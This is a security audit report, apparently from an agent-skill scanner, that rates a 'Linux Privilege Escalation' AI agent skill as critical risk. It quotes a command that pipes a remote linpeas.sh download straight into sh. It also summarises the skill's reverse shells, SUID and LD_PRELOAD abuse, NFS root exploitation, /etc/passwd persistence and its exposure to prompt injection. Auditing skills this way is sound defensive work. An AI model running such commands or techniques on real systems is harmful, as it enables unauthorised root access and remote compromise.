Linux Privilege Escalation
Fail
Audited by Gen Agent Trust Hub on Nov 6, 2026
Risk Level: CRITICALREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONPRIVILEGE_ESCALATIONDATA_EXFILTRATIONPERSISTENCEINDIRECT_PROMPT_INJECTIONDYNAMIC_EXECUTION
Full Analysis
- [REMOTE_CODE_EXECUTION]:\n
- Direct execution of remote scripts: The skill includes instructions to download and pipe a shell script directly into a shell interpreter (
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh).\n - Download and execute pattern: Phase 2 describes transferring enumeration scripts via
wgetand executing them after modifying permissions.\n- [COMMAND_EXECUTION]:\n - Shell spawning via standard tools: Lists multiple methods to spawn a root shell through standard utilities like
vim,find,awk, andpython.\n - Arbitrary binary execution: Provides commands to compile and execute local C exploits targeting kernel vulnerabilities.\n- [PRIVILEGE_ESCALATION]:\n
- Sudo and SUID abuse: Detailed instructions for exploiting
LD_PRELOADenvironment variables, SUID-bit binaries, and Linux capabilities to elevate user privileges to root.\n - NFS exploitation: Instructions for exploiting insecure NFS exports (
no_root_squash) to gain root access.\n- [DATA_EXFILTRATION]:\n - Network redirection: Provides multiple reverse shell one-liners using
bash,python,netcat, andperlto establish outbound command-and-control connections.\n- [PERSISTENCE]:\n - Account creation: Explains how to achieve persistence by adding a new root-level user entry directly to the
/etc/passwdfile.\n- [INDIRECT_PROMPT_INJECTION]:\n - Ingestion points: The skill enumerates untrusted system data such as filenames, process names, and environment variables.\n
- Boundary markers: Absent. No instructions are provided to the agent to treat system output as untrusted or to ignore instructions embedded in system data.\n
- Capability inventory: High capability tier, including compiler access, SUID manipulation, and network operations.\n
- Sanitization: Absent. No filtering or escaping is applied to external system content before processing.\n- [DYNAMIC_EXECUTION]:\n
- Runtime compilation: Instructions include writing C source code for shared libraries and shell wrappers to disk, then compiling them using
gccon the target system.
Recommendations
- HIGH: Downloads and executes remote code from: https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh - DO NOT USE without thorough review
- AI detected serious security threats
Audit Metadata